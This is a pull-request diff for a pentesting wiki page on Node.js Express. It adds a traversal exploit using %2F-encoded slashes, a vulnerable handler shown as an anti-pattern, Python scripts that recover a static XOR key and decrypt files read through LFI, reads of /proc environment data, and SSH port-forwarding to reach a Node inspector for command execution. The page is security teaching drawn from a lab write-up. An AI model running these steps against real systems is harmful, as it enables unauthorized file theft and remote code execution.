Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
110 changes: 108 additions & 2 deletions src/network-services-pentesting/pentesting-web/nodejs-express.md
Original file line number Diff line number Diff line change
Expand Up @@ -32,11 +32,117 @@ cookie-monster -b -f cookies.json -w custom.lst

### Encode and sign a new cookie

iI you know the secret you can sign a the cookie.
If you know the secret you can sign the cookie.

```bash
cookie-monster -e -f new_cookie.json -k secret
```

---

## Express path traversal via URL-decoded separators and unsafe normalize checks

Anti-pattern frequently seen in Express/Node handlers:

```js
// BAD: concatenates base + user input, then only checks normalize equality
router.get('/file/:file', async (req, res) => {
const name = req.params.file; // Express decodes %2F into '/'
const base = `${process.env.STORE_HOME}/public/tmp/`;
const filePath = `${base}${name}`;
if (path.normalize(filePath) == filePath) {
// developer expects ../ to be removed to decide an action,
// but still uses the attacker-controlled filePath afterwards
}
const data = await xorFileContents(filePath, process.env.SECRET, false);
res.render('file', { data, b64data: Buffer.from(data).toString('base64') });
});
```

{{#include ../../banners/hacktricks-training.md}}
Key issues:
- Express percent-decodes path params. Payloads like `..%2F..%2Fetc%2Fpasswd` arrive as `../../etc/passwd`.
- Comparing `path.normalize(full) == full` does not constrain to an allow-listed directory; it only changes string representation. If any subsequent I/O uses `filePath`, traversal escapes the intended folder.

Exploitation pattern:
- Fuzz `:file` with `%2f`-encoded slashes: `/file/..%2F..%2F..%2Fetc%2Fpasswd`.
- If the handler always performs I/O on the constructed path (even when skipping some branch due to mismatch), you get arbitrary file read/write under the process account.

For generic LFI/traversal techniques and wordlists:

{{#ref}}
../../pentesting-web/file-inclusion/README.md
{{#endref}}

## Data: URL responses and XOR “encryption” (known-plaintext keystream recovery)

Some routes embed bytes in a data URL like `data:application/octet-stream;charset=utf-8;base64,<B64>`. If the server XORs file contents with a static short key before embedding, you can recover plaintext by deriving the repeating keystream from a known plaintext upload:

```python
import requests
# Derive repeating XOR key from a known plaintext and its encrypted twin
enc = requests.get('http://host:5000/tmp/known.png').content
pt = open('known.png','rb').read()
keystream = bytes([e ^ p for e,p in zip(enc, pt)])
print(keystream[:16]) # b'Hm9zeWC38...'
```

Then decrypt arbitrary file reads returned as data URLs:

```python
from base64 import b64decode
from itertools import cycle
import re, requests
html = requests.get('http://host:5000/file/..%2f..%2fetc%2fpasswd').text
b64 = re.search(r'data:[^;]+;base64,([^"]+)', html).group(1)
pt = bytes([c ^ k for c,k in zip(b64decode(b64), cycle(keystream))])
print(pt.decode(errors='ignore'))
```

## Leaking runtime context from /proc via LFI

Use traversal to query process metadata and environment to pivot:

```bash
# Environment and command line of the current worker
/file/..%2f..%2fproc%2fself%2fenviron
/file/..%2f..%2fproc%2fself%2fcmdline
```

Look for hints like:
- USER, app paths, `.env` location
- Node inspector flags: `node --inspect=127.0.0.1:9229 app.js`

## Reaching localhost-only Node inspector via SSH port-forward (even with forced SFTP)

If the app runs with `--inspect` bound to 127.0.0.1:9229 and you have SSH credentials (e.g., leaked from `.env`), you can often still create local forwards even when the account is restricted to SFTP.

```bash
# Forward remote 127.0.0.1:9229 to local 9229
ssh -N -L 9229:127.0.0.1:9229 user@target
```

Attach with Chrome DevTools (chrome://inspect) or CLI:

```bash
node inspect 127.0.0.1:9229
# In debug console, typical RCE primitives:
# process.mainModule.require('child_process').exec('id')
```

More on abusing Node inspector and Chromium/CEF debuggers (including payloads and caveats):

{{#ref}}
../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md
{{#endref}}

## Note on Chrome DevTools remote debugging ports

If Chrome/Chromium runs as root with `--remote-debugging-port` open locally, port-forwarding to that port grants privileged control via the Chrome DevTools Protocol, which can be abused for post-exploitation. See payload ideas in the page referenced above.

## References

- [HTB: Store — URL‑encoded traversal + static XOR → secrets → Node inspector RCE → Chrome debug root](https://0xdf.gitlab.io/2025/10/30/htb-store.html)
- [Node.js: Debugging getting started (inspector)](https://nodejs.org/en/docs/guides/debugging-getting-started/)
- [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/)

{{#include ../../banners/hacktricks-training.md}}